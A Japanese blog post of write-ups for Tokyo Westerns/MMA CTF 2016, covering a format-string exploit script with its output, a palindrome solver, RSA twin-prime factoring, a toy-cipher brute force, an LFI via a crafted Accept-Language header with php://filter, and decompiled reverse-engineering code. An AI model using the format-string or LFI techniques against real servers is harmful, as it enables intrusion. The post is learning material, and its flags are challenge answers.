ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

Tokyo Westerns / MMA CTF 2nd 2016 Writeup(Pwn50+Crypto50,100+PPC50+Web50+Rev50)

2016年9月3日〜4日にかけて48時間開催されたTWCTFに参加しました〜
今回はチームはPing-Micからの出場で、もりたこ(@mrtc0)と僕の2人です><
(二人とも日曜日に参戦できなかったので日曜日は順位がガタ落ちしていきましたっ)

f:id:katc:20160906215741p:plain

Ping-Micは土曜日のsubmitを最後に、360ptの143位で終了です。土曜日までは60番台だったんですけどねー、世間様は厳しい〜
僕は次の問題250ptぶんを入れて、いつもどおりのぱっとしない終了です?

  • judgement (Pwn50)
  • Make a Palindrome! (PPC50)
  • Twin Primes (Crypto50)
  • Super Express (Crypto100)

あと、Global Page (Web50) アシストしました。

競技中にReverse Box (Rev50)を自分には合わない方針でやって時間を大量に溶かしたものの、今日やったらさくっと解けましたっ

以下 Writeup です。

judgement (Pwn50)

0x80487a2 print(input_flag) に自明なFSBがあるタイプの問題です。 ですが、FSB使う問題が半年ぶりで全然頭に残ってませんでした。 大分時間が経った後にsubmitして得点です。

スタックを掘り進めていけばいつかフラグが出てくるっしょ〜という無能方針です。

import struct, socket, sys, telnetlib
import time
from hexdump import hexdump

def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)
 
def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data
 
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
 
def p(a):  return struct.pack("<I",a&0xffffffff)
def u(a):  return struct.unpack("<I",a)[0]

for i in range(0x1, 0x30):
    print("at " + hex(i) + ":")
    s, f = sock("pwn1.chal.ctf.westerns.tokyo", 31729)
    t = read_until(f, "Flag judgment system\nInput flag >> ")

    """
    FSB bug

     8048772: c7 44 24 04 40 00 00  mov    DWORD PTR [esp+0x4],0x40   # 0x40
     8048779: 00 
     804877a: 8d 45 b4              lea    eax,[ebp-0x4c]             # [ebp-0x4c] := input_flag
     804877d: 89 04 24              mov    DWORD PTR [esp],eax
     8048780: e8 e4 00 00 00        call   8048869 <getnline>         
     8048785: 85 c0                 test   eax,eax
     8048787: 75 13                 jne    804879c <main+0x71>
    #---------------------------------------------------------------------
     8048789:   c7 04 24 cc 89 04 08    mov    DWORD PTR [esp],0x80489cc
     8048790:   e8 9b fd ff ff          call   8048530 <puts@plt>
     8048795:   b8 ff ff ff ff          mov    eax,0xffffffff
     804879a:   eb 3c                   jmp    80487d8 <main+0xad>
    #=====================================================================
     804879c:   8d 45 b4                lea    eax,[ebp-0x4c]
     804879f:   89 04 24                mov    DWORD PTR [esp],eax
     80487a2:   e8 39 fd ff ff          call   80484e0 <printf@plt>       # printf(input_flag)
    """

    f.write("%" + str(i) + "$s" + "\n")

    shell(s)

    time.sleep(0.5)

"""
[katc@K_atc judgement]$ python2 judgement.py 
at 0x1:
*** Connection closed by remote host ***
at 0x2:
êz÷
Wrong flag...
*** Connection closed by remote host ***
at 0x3:                                                                   ii
Wrong flag...
*** Connection closed by remote host ***
at 0x4:
*** Connection closed by remote host ***
at 0x5:
*** Connection closed by remote host ***
at 0x6:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0x7:
*** Connection closed by remote host ***
at 0x8:
*** Connection closed by remote host ***
at 0x9:
(null)
Wrong flag...
*** Connection closed by remote host ***
at 0xa:
tÑW÷?
Wrong flag...
*** Connection closed by remote host ***
at 0xb:
Ààb÷ÐÏa÷
Wrong flag...
*** Connection closed by remote host ***
at 0xc:

Wrong flag...
*** Connection closed by remote host ***
at 0xd:
e
Wrong flag...
*** Connection closed by remote host ***
at 0xe:
r
Wrong flag...
*** Connection closed by remote host ***
at 0xf:
ÀuLÇD$@
Wrong flag...
*** Connection closed by remote host ***
at 0x10:
$­û(s÷(s
Wrong flag...
*** Connection closed by remote host ***
at 0x11:
}#
Wrong flag...
*** Connection closed by remote host ***
at 0x12:
*** Connection closed by remote host ***
at 0x13:
*** Connection closed by remote host ***
at 0x14:
*** Connection closed by remote host ***
at 0x15:                                                                  89|÷°d{÷ ëd÷Dc÷ ¬d÷`ê`÷À°g÷Пf÷
Wrong flag...
*** Connection closed by remote host ***
at 0x16:
*** Connection closed by remote host ***
at 0x17:
*** Connection closed by remote host ***
at 0x18:
#Ó24$s
Wrong flag...
*** Connection closed by remote host ***
at 0x19:
Z
 $$D$Â
      
Wrong flag...
*** Connection closed by remote host ***
at 0x1a:

Wrong flag...
*** Connection closed by remote host ***
at 0x1b:
WLfnL$
      fï҉Ïf`Éf`ɃáfpÉ
Wrong flag...
*** Connection closed by remote host ***
at 0x1c:
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
*** Connection closed by remote host ***
at 0x1d:

Wrong flag...
*** Connection closed by remote host ***
at 0x1e:
*** Connection closed by remote host ***
at 0x1f:
Eô}ô
Wrong flag...
"""

flag: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

Make a Palindrome! (PPC50)

こんなん、やるだけなのでコードだけ置いておきますね。

# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import itertools

class BreakIt(Exception): pass

def check(arr):
    text = ''.join(arr)
    if text==text[::-1]:
        return True
    else: 
        return False

host = 'ppc1.chal.ctf.westerns.tokyo'
if len(sys.argv) > 1:
    host = sys.argv[1]
port = 31111
if len(sys.argv) > 2:
    host = int(sys.argv[2])

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

client_file = client.makefile('b')

while client_file.readline().strip() != "Let's play!":
    pass

client_file.readline()
for case in range(0, 30):
    client_file.readline()
    words = client_file.readline().split()[2:]
    # words: input
    # answer: answer
    ##  Please write some code here
    print(words)
    head = {}
    for x in words:
        head.setdefault(x[0], []).append(x)
    tail = {}
    for x in words:           
        tail.setdefault(x[-1], []).append(x)

    answer = []
    try:
        for k, v in head.items():
            if k in tail:
                for x in v:
                    for y in tail[k]:
                        test = words[:]
                        test.remove(x)
                        if y in test:
                            test.remove(y)
                        else:
                            break
                        for t in itertools.permutations(test):
                            answer = [x] + list(t) + [y]
                            if check(answer):
                                print "[+] found"
                                print answer
                                raise BreakIt
    except BreakIt:
        pass
    #
    client_file.write(' '.join(answer) + "\n")
    client_file.flush()
    ret = client_file.readline()[8:-1]
    print(ret)
    if 'Wrong Answer' in ret:
        print(client_file.readline())
        sys.exit(1)


"""
[katc@K_atc Palindrome]$ python2 solve.py 
['wu', 'ixuw', 'r', 'xixxyvns', 'rsnvyxx']
[+] found
['rsnvyxx', 'ixuw', 'wu', 'xixxyvns', 'r']
Judge: Correct! TWCTF{Charisma_School_Captain}
['tirs', 'r', 's', 'yuy', 'ita', 'xg', 'a', 'g', 'xrs', 'sr']
[+] found
['a', 'tirs', 's', 'r', 'xg', 'yuy', 'g', 'xrs', 'sr', 'ita']
Judge: Correct! 
['k', 'kjk', 'jkjjkjk', 'jjkjjjjkjkkk', 'kjkjkjkj', 'kj', 'kkjkjjj', 'jjjk', 'jjjjjjjkk', 'kkjjjj']
[+] found
['kj', 'k', 'jjkjjjjkjkkk', 'jjjjjjjkk', 'kjkjkjkj', 'kjk', 'kkjjjj', 'jjjk', 'kkjkjjj', 'jkjjkjk']
Judge: Correct! 
['tcd', 'tsyjej', 'u', 'dct', 's', 'w', 'lw', 'uwjejy', 't', 'zsszwl']
[+] found
['dct', 'tsyjej', 'w', 'u', 'lw', 'zsszwl', 'uwjejy', 's', 't', 'tcd']
Judge: Correct! 
['bvj', 'kgs', 'i', 'ffkfjvbk', 'fk', 'sgkk', 'n', 'a', 'ta', 'atnia']
[+] found
['atnia', 'sgkk', 'bvj', 'fk', 'ffkfjvbk', 'kgs', 'a', 'i', 'n', 'ta']
Judge: Correct! 
['zl', 'ulz', 'g', 'zb', 'bzlzzlu', 'g', 's', 'rrf', 'frrs', 'gg']
[+] found
['bzlzzlu', 'g', 'g', 's', 'rrf', 'frrs', 'gg', 'ulz', 'zl', 'zb']
Judge: Correct! 
['eelel', 'll', 'eellle', 'eell', 'lle', 'e', 'elllelllllll', 'lllel', 'eeelllee', 'e']
[+] found
['eell', 'll', 'lllel', 'lle', 'eellle', 'eelel', 'eeelllee', 'elllelllllll', 'e', 'e']
Judge: Correct! 
['rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'ww', 'rrrwr', 'rww', 'r', 'rwrr', 'wrwr', 'wwwwrr']
[+] found
['rww', 'rwrr', 'rrwrwrrw', 'wwwrrwwww', 'rrrwwwwrr', 'wwwwrr', 'wrwr', 'rrrwr', 'ww', 'r']
Judge: Correct! 
['exyp', 'e', 'r', 'aq', 'xncum', 'amr', 'yx', 'q', 'mucnx', 'm']
[+] found
['mucnx', 'r', 'm', 'aq', 'exyp', 'yx', 'e', 'q', 'amr', 'xncum']
Judge: Correct! 
['e', 'k', 'shiepf', 's', 'kfnx', 'ih', 'kdfp', 'lnxnfk', 'dk', 'nlk']
[+] found
['kfnx', 'nlk', 'shiepf', 'dk', 'kdfp', 'e', 'ih', 's', 'k', 'lnxnfk']
Judge: Correct! 
['k', 'hs', 'v', 'yjsh', 'hy', 'jz', 'm', 'k', 'zjmyh', 'jy']
[+] found
['hs', 'jy', 'k', 'hy', 'm', 'jz', 'v', 'zjmyh', 'k', 'yjsh']
Judge: Correct! 
['pn', 'npgbubv', 'asw', 'vbub', 'rwsa', 'z', 'gawag', 'g', 'z', 'r']
[+] found
['asw', 'r', 'npgbubv', 'z', 'gawag', 'z', 'vbub', 'g', 'pn', 'rwsa']
Judge: Correct! 
['z', 'h', 'k', 't', 'zht', 'albbbblauj', 'yl', 'm', 'lykju', 'm']
[+] found
['m', 't', 'h', 'z', 'lykju', 'albbbblauj', 'k', 'yl', 'zht', 'm']
Judge: Correct! 
['jsssjssjs', 'ssss', 'sjssjsssjssssjs', 'jjs', 'jjjj', 'j', 'jjjj', 'sssjjssjsjj', 'jsss', 'jssj']
[+] found
['sssjjssjsjj', 'jjjj', 'sjssjsssjssssjs', 'j', 'ssss', 'jsssjssjs', 'jjjj', 'jjs', 'jssj', 'jsss']
Judge: Correct! 
['r', 'zzz', 'tkqyafw', 'gqwfa', 't', 'yqk', 'f', 'fy', 'y', 'qgr']
[+] found
['fy', 'r', 'gqwfa', 'yqk', 't', 'zzz', 'tkqyafw', 'qgr', 'y', 'f']
Judge: Correct! 
['vvvv', 'vvv', 'a', 'vavvavavvaavavvav', 'vvvavvavaavva', 'v', 'avva', 'vv', 'vvvvv', 'vvva']
[+] found
['avva', 'vvvv', 'vvv', 'vvvavvavaavva', 'vavvavavvaavavvav', 'v', 'vvvvv', 'vvva', 'vv', 'a']
Judge: Correct! 
['cus', 'cj', 'tllse', 'j', 'u', 'w', 'eslltw', 'vzd', 'dz', 'v']
[+] found
['eslltw', 'vzd', 'j', 'cus', 'u', 'cj', 'dz', 'v', 'w', 'tllse']
Judge: Correct! 
['xb', 'xbbbxbbbbbxxxb', 'xxxbbbbbxbbbxxb', 'b', 'x', 'x', 'x', 'xbbbbbxxxxxx', 'bb', 'bbb']
[+] found
['xb', 'xxxbbbbbxbbbxxb', 'xbbbbbxxxxxx', 'bb', 'bbb', 'x', 'b', 'x', 'xbbbxbbbbbxxxb', 'x']
Judge: Correct! 
['t', 'oow', 'z', 'u', 'rdtod', 'd', 'otdruw', 't', 'o', 'oz']
[+] found
['d', 'otdruw', 'o', 'oz', 't', 't', 'z', 'oow', 'u', 'rdtod']
Judge: Correct! 
['lmo', 'lg', 'gly', 'y', 'yaa', 'o', 'aa', 'mlf', 'f', 'gy']
[+] found
['aa', 'y', 'o', 'mlf', 'gly', 'gy', 'lg', 'f', 'lmo', 'yaa']
Judge: Correct! 
['sz', 'r', 's', 'ig', 'g', 'jab', 's', 'izs', 'ggrbaj', 'g']
[+] found
['sz', 'ig', 's', 'jab', 'r', 'g', 'ggrbaj', 's', 'g', 'izs']
Judge: Correct! 
['vzv', 'zzzzzzzzvvvz', 'v', 'v', 'vzz', 'vzz', 'zzzzzzzvzzvvzv', 'zzz', 'zzzzz', 'vv']
[+] found
['zzzzz', 'vv', 'vzv', 'vzz', 'v', 'zzzzzzzzvvvz', 'zzzzzzzvzzvvzv', 'v', 'vzz', 'zzz']
Judge: Correct! 
['am', 'f', 'c', 'mdc', 'm', 'udkk', 'af', 'q', 'duq', 'dm']
[+] found
['mdc', 'f', 'am', 'q', 'udkk', 'duq', 'm', 'af', 'c', 'dm']
Judge: Correct! 
['llllr', 'rl', 'rrrl', 'llllrrlll', 'rrl', 'rlll', 'lllrr', 'llrrr', 'lllllrlllllrrll', 'r']
[+] found
['rl', 'llllrrlll', 'r', 'rrrl', 'lllrr', 'lllllrlllllrrll', 'llrrr', 'rlll', 'rrl', 'llllr']
Judge: Correct! 
['kfmj', 'rh', 'q', 'z', 'djk', 'kjdhrp', 'llml', 'fkqlm', 'zjm', 'p']
[+] found
['kjdhrp', 'zjm', 'fkqlm', 'llml', 'q', 'kfmj', 'z', 'p', 'rh', 'djk']
Judge: Correct! 
['cfu', 'yvt', 'estvya', 'd', 'fc', 'eqok', 'nda', 'koq', 'n', 's']
[+] found
['koq', 'estvya', 'd', 'n', 'cfu', 'fc', 'nda', 'yvt', 's', 'eqok']
Judge: Correct! 
['uy', 'rmi', 'mrxyugh', 'x', 'hg', 'w', 'm', 'ztnj', 'z', 'mwjnt']
[+] found
['mwjnt', 'z', 'hg', 'uy', 'x', 'rmi', 'mrxyugh', 'ztnj', 'w', 'm']
Judge: Correct! 
['omc', 's', 'v', 'cmo', 'v', 'qrxng', 'sg', 'o', 'nxrq', 'or']
[+] found
['cmo', 'v', 'qrxng', 's', 'or', 'o', 'sg', 'nxrq', 'v', 'omc']
Judge: Correct! 
['yyyy', 'yu', 'yyuyyuuuuy', 'yy', 'u', 'yyyy', 'uyyuuuuyyuyyu', 'yyyyuu', 'u', 'uuuyyyy']
[+] found
['yyyy', 'u', 'yyuyyuuuuy', 'yu', 'yyyyuu', 'u', 'yy', 'uuuyyyy', 'uyyuuuuyyuyyu', 'yyyy']
Judge: Correct! 
['m', 'kntrngc', 'mem', 'q', 'me', 'm', 'kf', 'k', 'qf', 'kcgnrtn']
[+] found
['qf', 'kntrngc', 'k', 'm', 'me', 'mem', 'm', 'kcgnrtn', 'kf', 'q']
Judge: Correct! TWCTF{Hiyokko_Tsuppari}
"""

flag #1: TWCTF{Charisma_School_Captain}
flag #2: TWCTF{Hiyokko_Tsuppari}

(なんすかこのフラグ…)

Twin Primes (Crypto50)

要は、RSA暗号のパラメータで、(p, q) と (p+2, q+2) のそれぞれの積は分かるときにp, qのそれぞれを簡単に求めることはできるのか、という問題です(encrypt.pyのコードは省略)。 計算量が多いように見せかけて、実は簡単な式変形で解けるという問題を以前食らったことがあった(たぶんCODEGATE 2016)ので、今回は解けました。やったね。

p, qの計算はsageにさせました。
decryptはencryptのコードを流用してさくっと完成です。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859

# n2 = n1 + 2 (p + q) + 4
p_plus_q = ((n2 - n1) - 4) / 2
print("p * q = " + str(n1))
print("p + q = " + str(p_plus_q))

p, q = var("p q")
f = [p * q - n1, p + q - p_plus_q]
solns = solve(f, p, q)
print(solns[0])

"""
p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
"""
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os

N = 1024

def getTwinPrime(N):
    while True:
        p = getPrime(N)
        if isPrime(p+2):
            return p

def genkey(N = 1024):
    # p = getTwinPrime(N)
    # q = getTwinPrime(N)
    p = 109839168287920364771652233739542245893972429420400471787477887103169099491804762856071669374751286279860451783039232642710981517010937585802203565874477414469934412741906018847402147404957765188018616912003220542453809516059524224015255036266232001320821428611494617812180060212800300789614856560253120304701
    q = 176645945799298135110721766377313792982812334295271987596634864064777954683139799946630491521527848390622912482826980130051166690303653228530141163053890146954290070312482492552495214917023922382112893625586133272913759418717134953590760109002220865007673751773346439753002517112721944238066505389966935631251
    n1 = p*q
    n2 = (p+2)*(q+2) # n2 = n1 + 2 (p + q) + 4
    e = long(65537)
    d1 = inverse(e, (p-1)*(q-1))
    d2 = inverse(e, (p+1)*(q+1))
    key1 = RSA.construct((n1, e, d1))
    key2 = RSA.construct((n2, e, d2))
    if n1 < n2:
        return (key1, key2)
    else:
        return (key2, key1)

rsa1, rsa2 = genkey(N)

with open("encrypted", "r") as f:
    c = f.read()

c = int(c)
c = rsa2.decrypt(c)
c = rsa1.decrypt(c)
padded_flag = long_to_bytes(c)
print(padded_flag)

"""
[katc@K_atc twin-primes]$ python2 decrypt.py 
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
 ßÝë*Àý L0ÜԪâÒ<5ìS²E$K
èühj@è-Á¾ÙH'(çàü鐎úë¬Âaê°ÅÇDm¶ZLʔa
"""

flag: TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}

Super Express (Crypto100)

まず、encryptで使われたコード(encrypt.py)を確認する必要があります。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

# 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9
# T W C T F { F ?           T                   ?           }

メモ書きとコードを見れば、換字式暗号ということまではわかります。 各文字に対して、同じkeyでエンヤコラしています。 flagもkeyもわからないので、ecnryptedから両者を推察することは難しそうです。
# flagの先頭数文字だけは分かるので、何かのkeyで TWCTF{ をencryptして 805eed80cbbc になればそのkeyは正しいことは分かります。

ただ48時間しかないようなCTFで、計算時間が競技時間を超えることはまず無いでしょうし、 昨年はそんなエグい問題は出ていなかったはずなので、keyは少し計算すれば求まるような長さっぽい、というあたりを付けて1つ目のコードを書きました。

import sys
import itertools
import string

key = ''
flag = 'TWCTF{'

# A = string.ascii_letters
A = string.ascii_lowercase
for i in itertools.product(A, repeat=4):
    key = ''.join(list(i))
    if key[-3:] == "aaa":
        print(key)
    if len(key) % 2 == 1:
        print("Key Length Error")
        sys.exit(1)

    n = len(key) / 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2*n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    # print(encrypted)
    if encrypted == "805eed80cbbc":
        print("[+] found! key = " + str(key))
        exit()

"""
% python2 solve.py
aaaa
baaa
caaa
daaa
[+] found! key = dpiq
"""

やりましたー。keyは dpiq ということが分かりました。あとは flag を順に総当りして終わりです。

import sys
import itertools
import string


flag = 'TWCTF{'
key = "dpiq"

target = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"

while True:
    for _c in string.ascii_letters + string.digits + "_!":
        test = flag + _c
        test += 'A' * (30 - 1 - len(test))
        test += "}"
        # print test

        n = len(key) / 2
        encrypted = ''
        for c in test:
            c = ord(c)
            for a, b in zip(key[0:n], key[n:2*n]):
                c = (ord(a) * c + ord(b)) % 251
            encrypted += '%02x' % c

        right = (len(flag) + 1) * 2
        # print "test: " + encrypted[0:right]
        if encrypted == target:
            flag += _c
            print "[+] flag found! " + flag + "}"
            exit()
        if encrypted[0:right] == target[0:right]:
            print test
            print encrypted
            flag += _c
            break

"""
% python2 solve2.py
TWCTF{FAAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccbb0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FaAAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasAAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FastAAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c364b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasteAAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{FasterAAAAAAAAAAAAAAAAA}
805eed80cbbccb94c3641327b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_AAAAAAAAAAAAAAAA}
805eed80cbbccb94c364132757b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_TAAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThAAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ecb0b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThaAAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94b0b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_ThanAAAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a8b0b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_AAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857b0b0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_SAAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfb0b0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShAAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfecb0b0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShiAAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8db0b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinAAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8b0b0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkAAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8cab0b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkaAAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94b0b0b0b0b0f9
TWCTF{Faster_Than_ShinkanAAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8b0b0b0b0f9
TWCTF{Faster_Than_ShinkansAAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c3b0b0b0f9
TWCTF{Faster_Than_ShinkanseAA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313b0b0f9
TWCTF{Faster_Than_ShinkansenA}
805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8b0f9
[+] flag found! TWCTF{Faster_Than_Shinkansen!}
"""   

flag: TWCTF{Faster_Than_Shinkansen!}

Global Page (Web50)

日英対応のWebページが表示される問題です。pageというgetパラメータがあって、それを根拠にページを切り替えているようなので、 Mortal Magi Agentsのようなタイプかなと思いました。

なのであとは php://filter/ ほげほげでどうLFIするのかという思考に切り替わるのですが、 pageに入った値はピリオドとスラッシュが除去されるのでもうひと工夫必要です。
(この問題はもりたこちゃんとやってて、同じ認識でした)

で、僕は curl でページをフェッチしたときに、ブラウザでは確認できた en-US.php というような文字列が .php という風になってたので、 これはHTTP Request Headerにあるフィールド値を細工すれば良いのだなと勘付きました。
今回の問題は Accept-Language が該当したのでそれをいじります。

が、 index.php のソースを見たいなと思っていろいろトライしてみたんですけど、なぜかうまく行かなかったです><

% curl "http://globalpage.chal.ctf.westerns.tokyo/index.php?page=php:" -H "Accept-Language: /filter/read=string.toupper/resource=index" -v

*   Trying 40.74.130.170...

* Connected to globalpage.chal.ctf.westerns.tokyo (40.74.130.170) port 80 (#0)

> GET /index.php?page=php: HTTP/1.1

> Host: globalpage.chal.ctf.westerns.tokyo

> User-Agent: curl/7.50.1

> Accept: */*

> Accept-Language: /filter/read=string.toupper/resource=index

> 

< HTTP/1.1 200 OK

< Date: Sat, 03 Sep 2016 04:27:11 GMT

< Server: Apache/2.4.7 (Ubuntu)

< X-Powered-By: PHP/5.5.9-1ubuntu4.19

< Vary: Accept-Encoding

< Content-Length: 163

< Content-Type: text/html

< 

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>



<body>

<p>

</p>

</body>

</html>

* Connection #0 to host globalpage.chal.ctf.westerns.tokyo left intact

ここから先は、チームメイトのもりたこちゃんに任せちゃいました。(画像はもりたこちゃん提供)

f:id:katc:20160906225456p:plain

flag: TWCTF{I_found_simple_LFI}

Reverse Box (Rev50)

Retargetable Decompiler に突っ込んで、コードを見たら次の main()init(table) のようなコードを発見しました。 方針としては、(a) ある文字を別の文字にマッピングするテーブル(=Sボックス)の生成方法を調べるか、(b) 乱数要素を排除して、 256通りあるSボックスを全通りチェックする、の2通りがあります。
# 256通りの根拠は 0x80485ac の and eax, 0xff です。

// Address range: 0x804858d - 0x8048688
int32_t function_804858d(char * a1) {
    // 0x804858d
    srand(time(NULL));
    uint32_t v1 = rand(); // 0x80485a7
    // branch -> 0x80485a7
    while (v1 % 256 == 0) {
        // 0x80485a7
        v1 = rand();
        // continue -> 0x80485a7
    }
    // 0x80485ba
    *a1 = (char)v1;
    char * v2 = a1;
    int32_t v3 = 1; // bp+030
    char v4 = 1;
    int32_t v5 = v4;
    uint32_t v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0); // 0x80485ee
    char v7 = v6;
    uint32_t v8 = (2 * v3 ^ v3) % 256; // bp+131
    int32_t v9 = 4 * v8 ^ v8; // 0x8048611
    uint32_t v10 = (16 * v9 ^ v9) % 256; // bp+133
    int32_t v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000; // 0x8048640_1
    unsigned char v12 = *v2; // 0x8048651
    uint32_t v13 = v11 % 256;
    char result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
    *(char *)(v6 % 256 + (int32_t)v2) = result;
    // branch -> 0x80485cc
    while (v7 != 1) {
        // 0x80485cc
        // 0x80485cc
        v2 = a1;
        v3 = v11;
        v4 = v7;
        v5 = v4;
        v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0);
        v7 = v6;
        v8 = (2 * v3 ^ v3) % 256;
        v9 = 4 * v8 ^ v8;
        v10 = (16 * v9 ^ v9) % 256;
        v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000;
        v12 = *v2;
        v13 = v11 % 256;
        result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16);
        *(char *)(v6 % 256 + (int32_t)v2) = result;
        // branch -> 0x80485cc
    }
    // 0x8048687
    return result;
}

// Address range: 0x8048689 - 0x804875f
int32_t function_8048689(int32_t a1, int32_t * a2) {
    int32_t v1 = *(int32_t *)20; // 0x804869e
    if (a1 <= 1) {
        // 0x80486b2
        printf("usage: %s flag\n", (char *)*a2);
        exit(1);
        // UNREACHABLE
    }
    // 0x80486d4
    int32_t v2;
    function_804858d((char *)&v2);
    int32_t * str = (int32_t *)((int32_t)a2 + 4); // 0x8048727_0
    if (strlen((char *)*str) == 0) {
        // 0x8048735
        putchar(10);
        if (*(int32_t *)20 != v1) {
            // 0x8048756
            __stack_chk_fail();
            // branch -> 0x804875b
        }
        // 0x804875b
        return 0;
    }
    for (int32_t i = 0; i < strlen((char *)*str); i++) {
        char v3 = *(char *)(*str + i); // 0x80486f9
        printf("%02x", (int32_t)*(char *)(28 + (int32_t)v3));
        // continue -> 0x80486ea
    }
    // 0x8048735
    putchar(10);
    if (*(int32_t *)20 != v1) {
        // 0x8048756
        __stack_chk_fail();
        // branch -> 0x804875b
    }
    // 0x804875b
    return 0;
}
0x8048593:   c7 04 24 00 00 00 00        mov dword [ esp ], 0x0
0x804859a:   e8 61 fe ff ff             call 0x8048400 <time>
0x804859f:   89 04 24                   mov dword [ esp ], eax
0x80485a2:   e8 99 fe ff ff             call 0x8048440 <srand>
0x80485a7:   e8 d4 fe ff ff             call 0x8048480 <rand>
0x80485ac:   25 ff 00 00 00             and eax, 0xff
